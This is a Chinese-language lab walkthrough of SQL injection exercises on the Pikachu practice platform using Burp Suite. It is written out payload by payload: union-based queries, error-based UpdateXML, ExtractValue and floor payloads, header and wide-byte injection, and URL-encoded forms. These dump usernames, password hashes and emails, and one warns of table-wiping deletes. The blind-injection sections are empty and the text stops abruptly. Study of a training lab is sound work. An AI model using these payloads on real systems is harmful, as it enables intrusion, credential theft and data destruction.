1 数字类型注入
打开Burp Suit工具,选择Proxy,之后点击Open Browser打开浏览器,在浏览器中输入http://localhost:8080/pikachu-master打开Pikachu漏洞练习平台。
选择“数字型注入”,之后点击下拉框随便选择一个ID,开启Burp Suit的Intercept功能,再点击Pikachu上的查询按钮,可看到Burp Suit抓包如图,其中红框部分即为浏览器通过POST方式上传的报文参数。
为方便进行注入测试,在Burp Suit上点击右键,选择“send to repeater”,之后在repeater选卡中,更改上传参数id的值(因为本题已表明为数字类型注入,故直接尝试数字类型的闭合,实际破解过程中可能要逐个尝试找出)如图,这时可以看到界面上将所有用户信息打出,表明注入有效。
or 1=1 #
通过order by获取查询的字段数。当尝试到order by 3时,出现报错提示,表明查询的字段数为2。
order by 3 #
获取数据库信息。
union select 1,schema_name from information_schema.schemata #
获取当前数据库。
union select 1,database() #
获取数据库中的表。
union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database() #
获取表中的字段。根据界面上的userid信息提示,猜测界面查询users表的可能性较大,故先尝试获取users表中的字段。
union select 1,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='users' #
此时users表中可以获取到用户名,但邮箱信息不能获取到。尝试获取member里面的字段如图,从结构判断,member是目标表的可能性较大。
union select 1,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='member' #
获取各个字段的值。此时可看到用户grady在我们破解出来的值中,表明member即为我们的目标表。
union select group_concat(username,pw),group_concat(email) from member #
在浏览器中输入 https://www.cmd5.com/,将打印出的密码序列输入,即可破解出用户密码。
2 字符型注入
选择Pikachu的字符型注入选项,照例在输入框中填入信息后,使用Burp Suit抓包。此时注意到,由于请求方式变为GET,其参数位置也发生了变化。
尝试构造查询闭合。此时发现直接输入SQL闭合语句并不能生效,并产生了错误,这时由于我们构造SQL闭合时,GET请求参数有特殊字符导致,需要进行一下URL编码。
点击Burp Suit的Decoder选项,将刚才构造闭合的语句输入到框内,然后选择encode as -> URL完成编码。
之后将编码字符填回到GET的请求参数中即可完成闭合构造。
' or 1=1#
=>
%27%20%6f%72%20%31%3d%31%23
之后参照数字型注入的步骤,逐步破击即可。需要注意的是,为了能够返现出我们需要的信息,需要将抓包报文中的admin去掉(因为admin用户可能不存在,参数中存在可能对返显结果有影响)。
' union select group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23
3 搜索型注入
SQL的搜索主要通过LIKE函数去实现,故其闭合构造的方式与字符型注入是差不多的,可参照字符型注入的破解过程。
' union select 1, group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23
4 XX型注入
当不知道注入的具体类型时,可以按照基本流程中的步骤1逐一尝试,直到能够构造出闭合,本题为包含搜索类型,即使用in关键字,故要构造in的闭合。
') union select group_concat(username,pw),group_concat(email) from member #
=>
%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23
5 INSERT注入
在插入注入时,如果直接构建闭合,则数据虽然可以插入成功,却不能返显出我们想要的信息,需要借助内置函数通过报错的形式将我们想要的数据返显出来。
UpdateXML(xml_target,xpath_expr,new_xml)
#UpdateXML函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#ExtractValue是返回在xml_frag用xpath_expr路径匹配到的XML片段
floor(x)
#floor函数返回不大于x的最大整数。
-
在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回 ;
-
floor()报错需要count()、rand()、group by结合使用,三者缺一不可。如floor(rand(0)*2)每次执行结果是基本固定的,在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,从而产生插入报错。
通过Burp Suit进行抓包,可以看到如图所示的参数请求。
- 以username为切入点,使用floor()进行注入;
' or (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) or '
- 使用UpdateXML函数进行注入;
' or UpdateXML(1,concat(0x7e,database()),0) or '
- 使用ExtractValue函数进行注入;
' or ExtractValue(1,concat(0x7e,database())) or '
找到注入点之后,就可以将之前的database()函数替换为我们想要查库的SQL语句,从而完成对数据库信息的获取。以UpdateXML为例注入,先获取数据库表。
' or UpdateXML(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '
获取表中的字段。
' or UpdateXML(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0) or '
获取表的信息。
' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '
6 UPDATE注入
更新注入与插入注入的方式大致相同,故不再赘述。使用之前注册的账号登录,之后点击修改个人信息,使用Burp Suit工具抓包,填入对应的语句即可。
7 DELETE注入
delete注入与insert、update注入类似,核心都是利用上述的三个内置函数报错,获取数据库信息。先在Pikachu的delete注入模块中增加几条留言,之后点击删除,使用Burp Suit进行抓包。
在请求报文中,追加我们的SQL语句。需要注意的是,此处为GET请求,需要进行URL编码。
or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0)
=>
%20%6f%72%20%55%70%64%61%74%65%58%4d%4c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%29%20%66%72%6f%6d%20%75%73%65%72%73%29%29%2c%30%29%0a
需要注意的是,删除注入非常危险,如追加的语句变为下述语句,则会造成整表删除。
or 1=1
8 HTTP HEADER注入
输入破解出的用户名及密码,先登录页面。
获取回显的信息。
退出登录,再次输入破解出的用户名及密码进行登录,同时使用Burp Suit抓包。
点击Forward,此时发现浏览器又发起了一次新的请求,同时cookie中保留了登录信息。再次点击Forward则显示出之前的登录信息,由此猜测第二次请求获取了http header信息并做了返显。
尝试在User-Agent部分替换为注入的SQL语句,看能否获取相应信息。
' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '
同理,也可以在Accept部分进行注入。
9 基于boolian的盲注
10 基于时间的盲注
11 宽字节wide byte注入
宽字节注入的产生原因:
1)MYSQL client链接编码导致。
查看编码:show variables like ‘%character%’,当客户端连接编码设置为GBK的时候,与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。
测试payload: index.php?id=%df%27 流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運’
2) MYSQL iconv函数mb_convert_encoding函数导致。
借用先知: $id =iconv(‘GBK’,‘UTF-8’, $id)
%df%27===(addslashes)=>%df%5c%27=(iconv) ===> %e5%5c%5c% 27 其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了 转义单引号的反斜杠。
3) Big5编码导致的宽字节注入
猜测代码: iconv(‘utf-8’,‘BIG5’,$_GET[‘id’])
payload构造同上: 功’ -> addsalshes -> 功’ -> iconv -> %A5%5C%5C%27->¥’ 逃逸单引号 。
回到Pikachu漏洞练习平台的宽字节注入练习部分,尝试使用字符型方式注入,发现并没有返回期望的结果,故尝试构建注入语句为:
kobe%df’ or 1=1#
发现可以成功逃逸单引号,构造出闭合SQL。
参照之前的注入流程,最终使用如下SQL即可破解出库中的用户信息。